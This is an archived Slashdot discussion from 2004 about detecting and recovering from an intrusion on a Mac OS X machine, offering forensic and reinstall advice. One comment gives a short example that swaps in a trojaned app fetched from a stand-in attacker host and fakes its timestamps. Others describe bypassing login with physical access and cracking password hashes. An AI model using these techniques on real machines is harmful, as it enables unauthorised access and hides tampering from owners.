Catch up on stories from the past week (and beyond) at the Slashdot story archive

 


Forgot your password?
Close
typodupeerror
×
OS X Businesses Operating Systems Security Apple

Symptoms of Mac OS X Hack? 135

Posted by Cliff from the darwinism-and-computer-forensics dept.
goatbar asks: "Many of you have probably dealt with computer intrusion before, but this is the first time for me with Mac OS X. I've got a machine where the passwords have been altered. If this were Linux, I would drop in Knoppix, figure out which way I got hacked, backup the system, reinstall, secure it and be back up in a couple hours. However, with OSX what can I do? Does anyone have strategies for regaining access to the machine and doing a post-mortem? I'm going to bring up the system drive on a laptop, but then what? I can back it up, but other than the system logs, where to look beyond the usual '.BitchX' and '...' directories. How do I easily tell what other annoying little things have been installed?"
This discussion has been archived. No new comments can be posted.

Symptoms of Mac OS X Hack? More

Symptoms of Mac OS X Hack?

Comments Filter:

  • When did it happen? (Score:5, Informative)

    by MBCook ( 132727 ) <foobarsoft@foobarsoft.com> on Wednesday May 26, 2004 @02:19PM (#9261391) Homepage
    When did it happen, do you know? If so then you can search the drives for files that were created/modified on or after that date. That should allow you to restrict the number of things that you need to look anywhere from some to significantly.

    • Re:When did it happen? (Score:5, Insightful)

      by thefroatgt ( 664250 ) on Wednesday May 26, 2004 @02:29PM (#9261478) Homepage
      Wouldn't you be able to change timestamps and stuff like that if you hacked a system? I know nothing of how OS X's filesystem works, but seems like that would be nigh impossible to stop.
      • That assumes that the person really knew what they were doing. Chances are it's just some kid who found a computer and managed to guess the password or something. If it was a pro job, you're right. But I'm betting it's just some kid or wannabe. Even if they did change some files, there are probably some that they forgot to modify, and those will give you a clue.

        Did you keep a backup? You could compare the backup against the current system state to see what's been added or changed. A hacker can't modify con

        • Chances are it's just some kid who found a computer and managed to guess the password or something. If it was a pro job, you're right. But I'm betting it's just some kid or wannabe.

          Right, because only the pros know about touch(1)
      • Unless they actually put in a kernel extension to change the default Unix behaviour, they wouldn't be able to change the file's Ctime. Mtime and Atime could be fudged though, but changing them would update the Ctime...

  • Put in the installer CD (Score:5, Informative)

    by CptChipJew ( 301983 ) * <.moc.liamg. .ta. .rellimleahcim.> on Wednesday May 26, 2004 @02:22PM (#9261423) Journal
    Boot off the install cd/dvd, and you can change your root password to anything you wish.

    After that its just a matter of recreating accounts and adjusting permissions. You can do that pretty easily in the Finder by getting info on a folder and changing permissions for all the contents of that folder and it's sub-folders in one click.

    • Things to consider, HOW-TO (Score:5, Informative)

      by goombah99 ( 560566 ) on Wednesday May 26, 2004 @02:57PM (#9261751)
      after getting access as described here is how I deal with my machines

      0) first rename the /Users/shared folder and move it into a your user folder.

      1) do a full install of the system using the archive and install mode. this gives you a blank system with the default apps. But with all your old system stored in a folder.

      2) re create all your users if any are missing and copy back their files. and move back the /Users/Shared folder you renamed in step 1. (this is needed because the shared folder is not quite hndeled right by archiva and install)

      3) drag and drop the contents of the old-applications folder on the new applications folder. When it asks you if you want to overwite check NO. this will give you clean copies of the apple apps and give you your old other appls back.

      do the same with the Utilities folder.

      4) now very selectively do the same with the /Library folder. There are very few apps that actually need anything stored in libraries folder and most of these are in application suport and prefs sub dirs. nearly all prefs can be wiped. as a pre-screen you can search for anything in this folder that is an executable or a .app using "find". these are highly suspect, but not neccessarily evil.

      5) copy back any other root level folders that you personally created previously such as /sw for fink.

      6) go back and double check that all those applications and utilities that were not apple apps and utilites are okay. This is not simple but at least check some creation dates.

      that should pretty much do it. what you will miss are any boot time services, host files, tcp permissions, cron jobs or firewall settings you hand tweaked, you installed as those config files are now wiped. It's possible your keychain will get corrupted but not neccessaility. and if you created any new users inthis process and their explict UID and GROUPID numbers are important you can edit these using the netinfo utility. Normal installations of packages and applications on apples do not tinker with /bin /etc /usr. some non-apple freindly unix packages do, but you would probably know this. if you only used fink or only installed in the users's space then you are fine. if you installed in to places like /usr or /opt then you are on your own.

      • Re:Things to consider, HOW-TO (Score:5, Informative)

        by justMichael ( 606509 ) on Wednesday May 26, 2004 @03:40PM (#9262107) Homepage
        While your list is nice if you don't care how they got in in the first place and you aren't really that concerend about cleaning you machine correctly...

        I would strongly recommend that anyone that thinks they have been rooted/hacked/owned (call it what you will) should boot from something safe, think Gentoo or other non OS X source.

        Copy the entire drive off onto another drive and only mount it read-only from that point on.

        Now wipe the original drive and reinstall everything from scratch. Including downloading anything that you don't have a CD for.

        After you get back up and running and if you want to know how they got in or if you care about anything on the old install, mount that drive read only and start poking around. There are many good resources online for post mortem analysis.

        At the very minimum you should want to know when it happened so that you know how far back your backups are potentially unsafe. You do have backups, right?

        If you honestly believe that cheking creation dates on files is enough, you will get burned. Take the following example.
        cp SafeApp.app SafeAppTemp.app
        scp hacker@example.com:/Users/hacker/BadApp.app SafeApp.app
        touch -r SafeAppTemp.app SafeApp.app
        srm SafeAppTemp.app
        When you look at the dates on SafeApp the app appears to be safe, is it?

        Disclaimer: I'm not on an OS X box at the moment so I can't verify that it's version of touch supports -r, but even if it doesn't once their on your machine they can bring in one that does.

      • Re:Things to consider, HOW-TO (Score:5, Informative)

        by cjpez ( 148000 ) on Wednesday May 26, 2004 @04:12PM (#9262464) Homepage Journal
        Er, if you're copying over applications and user data from the compromised partitions, why bother doing a reinstall at all? If just one of those applications or library files you copied over was trojaned, all you're doing is turning off the hacks until you execute the necessary code again.
        • If you read the parent carefully, you'll noticed he said not to overwrite the copies generated during Apple's install. This is how he's getting Apple's original files.

          Granted, there is still the possibility a non-Apple application or Library was trojaned.
      • Be extremely cautious with that copy-applications step; Mac apps are bundles (i.e. /Applications actually has a bunch of Name.app subdirs that appear as single entities in Finder), and it would seem quite possible for someone to hide stuff in an application subdir. For apps that autoload plugins on startup, this would seem particularly risky.

    • Re:Put in the installer CD (Score:4, Insightful)

      by alienw ( 585907 ) <alienw.slashdot@NoSpam.gmail.com> on Wednesday May 26, 2004 @04:48PM (#9262808)
      You do realize that if a rootkit was installed, that is unlikely to reveal anything and your system will likely remain compromised?
  • you bought a proprietary software system on a proprietary hardware platform.

    Dust off your SLA and call Apple.

    Don't have a SLA? Dang, you're FUBARed.

  • Let's hear more details about your break-in (Score:5, Informative)

    by Roompel ( 599073 ) on Wednesday May 26, 2004 @02:24PM (#9261445)
    I had the same issue with modified passwords on my G4 server running MacOS X Server 10.3. I thought I was hacked and talked to Apple's tech support to get this resolved. In the end I realized that my passwords got changed everytime I used niload in order to add a user account via the command line.

    Until today I still have to figure out how to create accounts without using the GUI.

  • It's UNIX, do what you usually do in Linux (Score:3, Insightful)

    by baffle ( 144921 ) on Wednesday May 26, 2004 @02:32PM (#9261500) Homepage
    Reset password via the InstallCD and boot it into normal singleuser. Can't remember the key-combo now, but it should be something like Apple+s.
    • Reset password via the InstallCD and boot it into normal singleuser. Can't remember the key-combo now, but it should be something like Apple+s.

      There's an rpm -Va command for OSX?

      Changing your root password back isn't going to help if a backdoor has been installed. You need a way to verify that none of your files have been modified. Under redhat, rpm -Va will verify the md5sum, permissions, timestamp of all your installed packages.

      For the extra paranoid, put your /var/cache/rpm onto a keychain.

  • Hmm.. (Score:5, Informative)

    by Anonymous Coward on Wednesday May 26, 2004 @02:32PM (#9261509)
    I've never dealt with a hacked Mac (cuddles powerbook and shivers in fear). However, some standard procedures would apply:

    (1) Isolate it from the network. Unplug ethernet, turn off any wireless access points (if Airport was set up on it).

    (2) Boot off a known good media. This means the OSX recovery CD (or DVD with newer models). I've never done it, but presumably you should be able to mount your Mac's hard drive, get to a terminal window and be able to poke around and repair the damage as with any other system.

    (3) If you don't want to repair (which can be risky if you don't know what's infected), copy off all files & data that you want to keep (avoid copying anything that's executable because that could be infected / trojaned) - then manually erase as much of everything that you can, ideally wiping the hard drive and low-level formatting it. Then boot off the recovery media / OS X install disks - and do a full re-image of the machine.. disable remote access, turn on the firewall in system settings -> sharing -> firewall, patch the OS.. reinstall all applications then restore the data that you backed up. And this time use strong passwords.

    Step 3 really is the only way to be sure that the system is no longer infected.
    • I would add that this emphasizes the need for good backups.

    • Re:Hmm.. (Score:2, Informative)

      by Marovingian ( 679783 )
      Just an FYI- all very good suggestions, but your #2 suggestion is only possible when booted from a Panther Server install CD. The terminal is not an available option from a normal install CD.Disk Utility, Password Reset, and now Startup Disk are the only non-installer options available.

      Another available option is to use Firewire Target Disk mode (Command-T at startup) to mount the drive on another Mac.

  • System intrusion options (Score:5, Informative)

    by Kalak ( 260968 ) on Wednesday May 26, 2004 @02:34PM (#9261519) Homepage Journal
    As others have mentioned, you can use the System install disk to change your root password (which may be what was done to you). At the first splash screen, look in the menu bar to select the pasword reset utility.

    Also, if you'd like to look around, you can boot into single user mode using command-s when booting. once you see the command prompt, just go nuts.

    Another option is to boot off of another drive with the OS on it. Target disk mode is very handy for this. you can do it with 2 desktops, or one laptop and one desktop. An external drive is possible. Also, you can find ways to make a bootable OS X CD [bombich.com] to work from w/o working from the original drive if you can get to another Mac to build the CD on.

  • What was installed (Score:4, Informative)

    by bnewendorp ( 764839 ) on Wednesday May 26, 2004 @02:35PM (#9261530)
    One place you can look to see what was installed on your computer...go to /Library/Receipts. This has a small .pkg file that is left behind every time something is installed through a package on the computer (which anything but a basic application will have). This should give you an idea of everything that has been installed on the computer since the OS was installed. Also, to reset your main password, put in the original OS install disc that came with the computer. Under File, you can select an option to reset passwords.
    • Question.

      Can this password reset be performed only with the disk you installed the machine with, or with any disk for the same os version?

      • Any OS install CD that can boot the computer. I normally say the discs that came with it because they are sure to have a late enough version. For example, to boot G5, you need to use 10.2.7 or later. An old iMac, on the other hand, could boot on an older version of OS X.
        • So if I have physical access to the machine, I can compromise it (assuming of course I brought some OSX os disks?)

          • It depends on whether the admin also password-protected OpenFirmware and configured it to prevent booting from the CD/DVD drive. If not, then yes, you can compromise a Mac System with just an OS X boot CD. Of course, I believe you can do the same with a Linux 'live' CD on an Intel box...

          • Re:What was installed (Score:2, Insightful)

            by Anonymous Coward
            So if I have physical access to the machine, I can compromise it (assuming of course I brought some OSX os disks?)

            Yes, you can. Just the same as you can compromise a Linux or Windows machine by booting off an OS disk. If you disable booting off media, someone's only going to take the machine apart and re-enable it. If someone physically has the machine they can do anything they want to it - including disassembling it - so such an intrusion is impossible to stop.

            However, on OSX you can encrypt your user d

          • Re:What was installed (Score:5, Informative)

            by pizza_milkshake ( 580452 ) on Wednesday May 26, 2004 @03:10PM (#9261879)
            So if I have physical access to the machine, I can compromise it (assuming of course I brought some OSX os disks?)

            assuming you know what you're doing, then yes, physical access and a little time is all you need. that goes for pretty much any machine. one reason for server rooms and cages in hosting facilities.

    • Re:What was installed (Score:5, Informative)

      by duffbeer703 ( 177751 ) on Wednesday May 26, 2004 @02:39PM (#9261575)
      Brilliant. It's nice that fricking computer hackers use proper software installation methods. And they'd never try breaking in the same way the did the first time, either.

      A compromised machine must be rebuilt. Period.

    • Re:What was installed (Score:5, Informative)

      by daviddennis ( 10926 ) <david@amazing.com> on Wednesday May 26, 2004 @02:40PM (#9261593) Homepage
      Of course if there was any kind of rootkit or similar nasty installed, it was probably installed off the command line from a tar.gz file, so it wouldn't appear there.

      Nice try, but it probably wouldn't help in this instance.

      D

      • Re:What was installed (Score:5, Funny)

        by prockcore ( 543967 ) on Wednesday May 26, 2004 @04:45PM (#9262779)
        Of course if there was any kind of rootkit or similar nasty installed, it was probably installed off the command line from a tar.gz file, so it wouldn't appear there.

        I always thought that an OSX rootkit would use a nice pretty GUI installer and register itself with Software Update so you can download the latest 0wnz3r patches.
    • As said in the other replies, checking the receipts has no guarantee of finding anything new, even if new software is on the computer. And if they were able to get into the computer and change the password, I'm guessing they know to simply delete any receipts they left behind, as well.

      Assuming you roughly know when it happened, what will be muchmore helpful is doing a find by date modified/created. In the Finder, do a good old Find with command-f, but change the search criteria to just Date Created, then d
      • I forgot to mention, whenever searching for malacious files, always include invisible files in your search.

      • In the Finder, do a good old Find with command-f, but change the search criteria to just Date Created, then do a search and look for anything suspicious. Then do another search, this time searching for Date Modified.

        The problem with this is that OS X has many hidden folders, into which the Finder does not look. These folders include UNIX standards such as bin, sbin, usr and private. Better to use 'find' via the Terminal. 'man find' in a Terminal window for further info.

        (tig)

    • "One place you can look to see what was installed on your computer...go to /Library/Receipts. This has a small .pkg file that is left behind every time something is installed through a package on the computer (which anything but a basic application will have). "

      Never heard that theory before. I find no receipts in /Library/Receipts for MS Office X, MS Office 2004 Demo, Adobe Photoshop, InDesign, Illustrator, Acrobat, Lotus Notes or AppleWorks, just to name a few recent installations.

      I do find SallingClick

  • Gentoo for PPC (Score:3, Informative)

    by dcocos ( 128532 ) on Wednesday May 26, 2004 @02:37PM (#9261551)
    Gentoo offers a Linux live cd you can boot from, if there isn't a Knoppix live cd for PPC

  • reinstall everything from scratch. (Score:5, Insightful)

    by gl4ss ( 559668 ) on Wednesday May 26, 2004 @02:47PM (#9261663) Homepage Journal
    really, how else are you going to be sure?

    you can't trust timestamps(as some have suggested), you certainly can't trust any receipt/installation logs of macosx itself either, you can't trust binaries, you can't trust ANYTHING(except dummy data files with no data that ever gets executed, through other exploits or whatever).

    and REALLY, how do you _really_ figure out what binaries were compromised on a linux system you could rescue with knoppix? all you can do is to hope that they didn't install anything except bitchx with some scripts to zombie you..
    • The only real way to know if a binary has been compromised is by using an MD5 or SHA1 hash sum. The thing is, you have to know the sum of the uncompromised binary. Sites like Known Goods [knowngoods.org] can help here. Besides the binaries, dynamic libraries, bash/tcsh, even the kernel itself could potentially be compromised.

      You really though don't want to be messing around on a compromised system. Like many others have suggested, you'll want to boot of a CD and go from there. Single user mode is unacceptable, since

    • Re:reinstall everything from scratch. (Score:5, Informative)

      by alienw ( 585907 ) <alienw.slashdot@NoSpam.gmail.com> on Wednesday May 26, 2004 @04:54PM (#9262864)
      and REALLY, how do you _really_ figure out what binaries were compromised on a linux system you could rescue with knoppix?

      You could compare md5sums of all the executables with the ones on the installation media. RPM has an option to do that.
      • That won't actually do it - OS X prebinds executables to dynamic library calls whenever a new library version is installed. This is what happens whenever you run the update, and wait forever at the 'optimizing system performance' (or whatever) prompt.

        Every time the prebindings of a dynamically linked executable are updated, that file is changed. So, probably not a single one of the executables on the system will match those on the install media.

    • Re:reinstall everything from scratch. (Score:5, Informative)

      by prockcore ( 543967 ) on Wednesday May 26, 2004 @04:56PM (#9262879)

      and REALLY, how do you _really_ figure out what binaries were compromised on a linux system you could rescue with knoppix?

      As I said above:
      rpm -Va

      put /var/lib/rpm on a keychain.
    • You'll notice that he appears to be an old hand at this.

      My take on it is this, some people hack for fun, some people reinstall. This guy is the latter.

      Ya' know, come to think of it, he might save some time by just running windows ME.

  • A web site (Score:2, Informative)

    by mehgul ( 654410 )
    that might help for general OS X security: http://www.securemac.com/ [securemac.com]

    Other than that, starting off the install CD and resetting the password, as others mentioned before.
    • I'd take anything on that site with a large grain of salt. They don't seem to be very detailed, and are more interested in selling their dubious security software than imforming Mac users.
      • I agree that the site itself might not be the best, and is definitely not up to date. However, they give a lot of links (see for example this article from Bob LeVitus [securemac.com] that gives other links), and as such, they can be a starting point for information. That's how I see it anyway.

  • Same procedure (Score:5, Informative)

    by GoRK ( 10018 ) on Wednesday May 26, 2004 @03:17PM (#9261929) Homepage Journal
    You can follow the same procedure you use for your linux recovery -- put in the install cd or darwin cd, boot to a shell, mount up the disk read only and perform your backup, analysis, and then recover by whatever means you want.

    To boot to a shell using the install cd you have to go into open firmware and set OF to pass the -s option to the mach kernel. The darwin CD will give you the option to jump to a shell right off the bat.

  • Insert the Install CD (Score:3, Informative)

    by azav ( 469988 ) on Wednesday May 26, 2004 @03:18PM (#9261941) Homepage Journal
    You can reset the passwords if you boot off the OS install CD

  • It might not help, but who knows what was run - you might see some clues there. Look in both Library/Logs/ and ~/Library/Logs/. Make sure you check the one for the user in question in the former since some user specific info is store there.
  • Security exploits, Mac Spyware and hacks like these, IMHO, will contune to increase as OS X becomes more popular.

    But, this has already been predicted.

  • make new admin account (Score:5, Interesting)

    by tetsuotheironman ( 321438 ) on Wednesday May 26, 2004 @03:29PM (#9262018)
    probably the easiest way (no cd required) is to boot into single user mode (holding apple+s during boot)
    you will be dropped into command prompt.

    Mount disks
    mount /

    then remove this file
    rm /var/db/.AppleSetupDone

    note the '.' as it's a hidden file..
    then just reboot
    (reboot)
    and you will walked through the first time Setup and Config dialogs just like it was a new machine.
    This will allow you to create a new admin account and change the other users' passwords. (make sure not to create a user with the same shortname as another user)

    note this is a good way to 0wn any Mac you can get physical access to..

  • http://www.sysresccd.org/
    They have a PPC edition.

  • Some things to audit (Score:4, Informative)

    by melatonin ( 443194 ) on Wednesday May 26, 2004 @04:39PM (#9262732)
    This isn't necessarily a way to fix your system, but it's some points to check to see what's there.

    You'd want to check these directories for anything you don't recognize are doesn't seem like they belong, /Sys/Lib/Extensions /Sys/Lib/StartupItems /Sys/Lib/Frameworks/ /Sys/Lib/PrivateFrameworks
    - same goes for /Library

    Now keep in mind that existing items can be modified, not just added. It's good to familiarize yourself with a base install. For anything that you don't recognize, check your Receipts directories to see if they were installed with some credibility.

    You'd also want to check /etc/hostconfig, /etc/rc* . I poke with those files a lot so I have some familiarity with what they're supposed to be like.

    You'd also like to examine dot-files and stuff. To make it short, there's a lot of places that shit can go in, but script kiddies aren't that smart and actions may be obvious. /var/log/ can be useful stuff too, if you know the timeframe of when stuff happened (hackers aren't likely to clean up system logs that might have traced some actions unknowingly - by default, sudo commands are logged). Similarly, getting used to how dmesg is supposed to look and what ps -auxww is supposed to provide is important.

    Keep in mind that /Library's contents (anywhere in it) can affect your system a lot, but most (all?) of those items aren't essential, you should be able to freely remove whatever you want.

    To check your system without using it, you can always boot off of a OS 9 volume if your system supports that (it can fit on a CompactFlash card... with my old PowerBook I can at least boot from the PCMCIA slot). I also have 10.1 on another volume that's good for prodding my Panther system with.

    NetInfo is a bit of a pickle to familiarize yourself with. Or at least, I haven't familiarized myself with most of the stuff in there yet :P

    Anyway, none of this is a guaranteed way to find or fix problems, but it can reveal what's happened. If your system's been comprimised, your only recourse is to wipe it out. Don't even use your old User accounts, as dotfiles and ~/Library may have comprimised stuff. Keep it around with unknown:unknown ownership (and not in /Users) and move things over that you think you need.

  • No help now.. but maybe in the future... (Score:3, Interesting)

    by RedPhoenix ( 124662 ) on Wednesday May 26, 2004 @05:13PM (#9263042)
    I've heard from some inside sources that Apple are looking to adopt something very similar to Solaris BSM auditing for OSX.

    This doesn't help you much at the moment, but maybe sometime down the track, this may help you diagnose what was changed on your system.. (Subject, of course, to your logs being pushed off the compromised system as soon as they're generated, and maybe the attacker not noticing the auditing capability).

    Red.

  • Firewire target mode... (Score:3, Informative)

    by gozar ( 39392 ) on Wednesday May 26, 2004 @05:15PM (#9263054) Homepage

    If you think you were hacked than assume you were hacked. Boot up the machine in Firewire target mode, mount the drive on another mac, and copy over your Users folder.

    Re-boot your machine and install from scratch and then re-install you applications. You can then copy the Users folder back over and create your users. OS X should set the permissions correctly on the folders in Users if you use the same usernames (IIRC). It's the only way to be sure...

  • Target disk mode + disk image (Score:5, Informative)

    by plsuh ( 129598 ) <plsuh@goAUDENodeast.com minus poet> on Wednesday May 26, 2004 @05:30PM (#9263165) Homepage
    Every Mac that has a firewire port can boot into Target Disk Mode. Hit the power button and hold down the "T" key. In a couple of seconds you'll see the screen show a yellow firewire symbol. Plug the compromised Mac into another Mac using a firewire cable, and the compromised Mac's hard drive will be mounted on the other Mac's desktop as an external firewire hard drive.

    At this point, you should recover all of your user data to an outside volume, either on the known good Mac or on a CD-R or network volume. If you want to do forensics on the compromised Mac, create a disk image from the compromised Mac's hard drive (warning - this may take up a lot of space). This will preserve everything from that machine in a way that can easily be mounted and studied. Put the compromised Mac away as evidence and do your examination from the disk image.

    Log files are your friends. However, a good rootkit will include ways of deleting telltale info from log files. Another problem is that the prebinding process will alter binaries in different ways depending on the machine and the amount of RAM. The right way to do a comparison between the compromised machine and a known good machine is to use an identical machine (same model, same amount of RAM) and bring the system up to the same set of updates. Then you can use
    sudo mtree -c -p /usr -k cksum > /tmp/mtree_checksum1
    sudo mtree -c -p /Volumes/BadHD/usr -k cksum > /tmp/mtree_cksum2
    to create CRC32 checksums of the /usr directories. Compare the two checksum files to see what might have been changed/added/deleted. Repeat for other important directories like /etc, /var, /Library, /System, /System\ Folder. If everything is different, you know that you haven't gotten the prebinding conditions right and you need to start over.

    To get the compromised Mac up and running again, you can't count on fixing everything in place. It's too easy to miss something that's been trojaned. You need to do an erase and install on the compromised Mac, re-install all of your applications, re-create the user accounts, then copy back the data that you backed up earlier. Be careful if some users have installed apps inside their home dirs that you re-install those fresh, as they may have been attacked as well. Also be sure to run a virus scanner on user files before restoring them to catch things like Word macro viruses.

    Be careful of the users' login keychains, as the data in those may not be recoverable if the passwords were changed by someone who logged in as the users themselves. If the passwords were changed via an outside reset mechanism, such as an admin user or an install CD, then the old keychain passwords should still work.

    Joel Rennich has a good account [afp548.com] of studying a compromised Mac OS X machine a while back on his website, afp548.com [afp548.com]. It's based on a little bit older version of the OS, but still good advice.

    --Paul
  • I forget the exact keystroke (they have it listed at apple.com) but you can bring any recent Mac up as a FireWire hard drive andd access the drive from any Mac that can take a FireWire drive. Not sure if the dominant partner can be Linux but it can certainly be OS X and probably OS 9.

  • Prepare before and be a bit paranoid (Score:5, Interesting)

    by claudebbg ( 547985 ) on Wednesday May 26, 2004 @05:42PM (#9263246) Homepage
    Well, most of the people says you should "reinstall" and that's right. But you can be prepared. For my own system, I:
    • separate datas, users accounts, my non Apple applications from system with 2 different partitions
    • cleanly install the system and updates (stored on a separate drive) with no internet connection
    • setup a temporary admin account during the install
    • run a script (niutil, cp...) to recreate my environment (finally it's not that hard, just remember that users and groups are in netinfo and shadow passwords are stored in /var/db/shadow/hash with the generateduids of the users) and drop the temporary account
    • launch a complete replication of the system disk on an external (Emergency) drive (I currently use Mr. Bombich carbon copy cloner, but there are other solutions) which is useful to redo the first steps really fast (I mean 20 minutes from a drive, 30 minutes from my iPod which is becoming my "Emergency" drive). You can you the "rm local.nidb" trick to cleanly recreate the admin account
    • go live.
    This takes 2-4 hours with install from CDs, 1h from emergency drive.

    By the way, I also like to
    • avoid the uid 501 admin
    • replace the standard firewall (ipfw configured with ruleset from the SysPrefs) with a ruleset of my own (using the fantastic statefull feature, stealthing if necessary, explicitly closing ports I don't use to and from the computer, avoiding apps like MsOffice or Stuffit to call home) launched as a StartupItem
    • check the basic security with nmap from the outside
    • setup OpenFirmwarePassword and FileVault (sorry guys, physical access is not enough)
    • check passwords are solid, currently with lcrack on shadow passwords
    • make automatic backups of vital datas (thanks rsync) on external drive (and in my case my laptop which is then "in sync")
    Of course, the second part is purely paranoid (except backups) as I'm not at all an interesting target (except if you want to read my code, discover my preferred films;-) but as I also do that for small companies I like (and occasionally work for), I feel a little bit more responsible and try it on my personal computer before deploying it for others.

    I also do that to learn a bit more what can be done as I'm not a sysadmin at all and not pretend at all being as pro as most of them.
    • note that opening the computer and changing the RAM or something will let your reset the PRAM (apple+option+P+R) which effectivley removes Open Firmware Password protection (or if it's a tower just press the CUDA switch) which is enough to get admin access to the machine, which would ley you install a keystroke recorder, which would let you get into your little FileVault disk image..

      Moral of the story is, there is always a way to get into a machine if you have physical access..

      (although FileVault is a ver
  • You guys keep talking about restoring old user accounts. Accounts? It's a Mac, would you let other people touch your Mac? Didn't think so. This thing should only have 2 user accounts, Root (which you dont use much) and 1 User

    • Sure I do. When my brother-in-law and my nephew come round for a session of Warcraft or Age of Mythology I have accounts setup for them to play with. That way I minimise the danger of either them or the games messing up my account.

      I also have non-people user accounts setup on my machine: for example MySQL has its own account.

  • Firewire Target Disk Mode (Score:2, Informative)

    by amdg ( 614020 )

    I realize you may only have one Mac to work with, but if you have two, you may want to try out Firewire target disk mode [macosxhints.com]. It allows you to connect one Mac to another and use the first as an external disk. This is much more flexible than booting from the install CD.

    Has anyone tried connecting a Mac in target disk mode to a PC with a Firewire card? Was the PC able to mount the Mac as an external disk? If you don't have another Mac, that may also work assuming the PC knows what to do with HFS filesystem.

  • Been there... (Score:2, Informative)

    by Anonymous Coward
    ...and not just on the receiving end, either. *malicious grin*

    OS X is relatively easy to "r00t", by various means. Until recently, nidump passwd was a SERIOUS problem - weak passwords could be broken within <48 hours with john on a fast machine. OS X also provides quite a few ways to patch your own code into a machine once you've rooted it, too - /System/Library/StartupItems is a favorite of mine, but /etc/rc* works too. But the question isn't about how to root a machine, but how to detect it. So here a
  • CheckMate [versiontracker.com] is a checksum comparison program... main problem would be that you need a good initial baseline.
  • System profiler will show you installed kernel extensions etc. as well as a full list of applications. It does not show you command line executables however, just packages.

    Do a search on created and modified dates including hidden files. This should show you any new stuff. Filter on known extensions.. .ai, .doc, etc. one at a time, look through for anything supicious, then filter them all out again to see what's left. Start looking.

  • Two possible solutions. (Score:3, Informative)

    by Domini ( 103836 ) on Thursday May 27, 2004 @02:28AM (#9264827) Journal
    1)
    Download BootCD [charlessoft.com] which is an app to create a BootCD from a current working installation. This will give you at least a working Finder and BSD subsystem with which you can hack around with.

    2)
    If that isn't easy enough, the following will blow your boots off:


    * The T key forces the PowerBook (FireWire) (and reportedly the Power Mac G4 (AGP Graphics), though I was unable to verify that on my machine) to start up in FireWire Target Disk Mode, which is essentially the modern equivalent of SCSI Disk Mode and enables a PowerBook (FireWire) to act as a FireWire-accessible hard disk for another Macintosh.

    Too many options! :)
    • The link to the second part did not get displayed:

      Go HERE: [jacsoft.co.nz]

      http://www.jacsoft.co.nz/Mac_Keys.htm

      For more reading on Open Firmware.

      (One cool thing about Apple firmware: You can start a telnet server from within firmware! Wow!)

  • A summary of some steps to follow (Score:3, Informative)

    by asecurityjunkie ( 698713 ) on Thursday May 27, 2004 @10:11AM (#9266771)
    Here is at a very minimum the steps required to perform forensics work on your system, I should also mention at this juncture that it is imperative to take detailed notes on what is happening both observations and actions.

    The first thing is to connect another system either to the same hub or switch that you can capture packets from the compromised system. This will enable us to run a packet analyzer such as Ethereal to determine what network traffic is leaving the system. We need to do this incase of a program that is "phoning home" and when you take it off the network and subsequently it can't phone home it deletes itself or performs some other nefarious task.
    When you are confident that no unusual network traffic is leaving the system we want to run a few commands that will not compromise the integrity of the system. Ideally not modify any file access times as well. What we are looking for are active processes, open files and if possible the contents of memory and the swap file. The output of these commands should be sent to a trusted remote system and the binaries themselves should come from a trusted source IE not the system you are working from. Make a CD with all of the commands that you intend to use (mount, lsof, top, ps, ssh for example). Before you run any commands on the system it is important that you have a game plan in place. Due to the nature of operating systems anything that you do at this stage can damage evidence that you may later need. But the list of open files can be critical in determining the extent of disruption to the system
    After you have all the information that you can gather from the booted system the next step is to image the drive. Either via a drive duplicator (which you probably don't have) or using Disk Utility and imaging the drive. Boot the system into target disk mode holding the 'T' key at boot. You will know the system is in target disk mode when there is a blue screen with yellow FireWire icon. After it is in target disk mode connect it to another trusted Mac launch Disk Utility and image the drive (IMPORTANT: not the logical volume, the drive will have numbers in front of it) you want to make a READ ONLY disk image of the drive. It is important that for the remainder of the investigation you only work from the image of the drive.
    When the drive has been imaged open the image on a known good system and inspect the log files. Ideally you will have other logs than the one on your system to examine. For example firewall logs of network connections to the compromised system. Look for file modification times that don't appear to be accurate

    I apologize for the lack of detail in this post, I had to generalize many concepts into one brief memo. If time avails itself I will follow up with a more detailed post later. Good luck. And if you have any questions just ask.

Slashdot Top Deals

In space, no one can hear you fart.

Close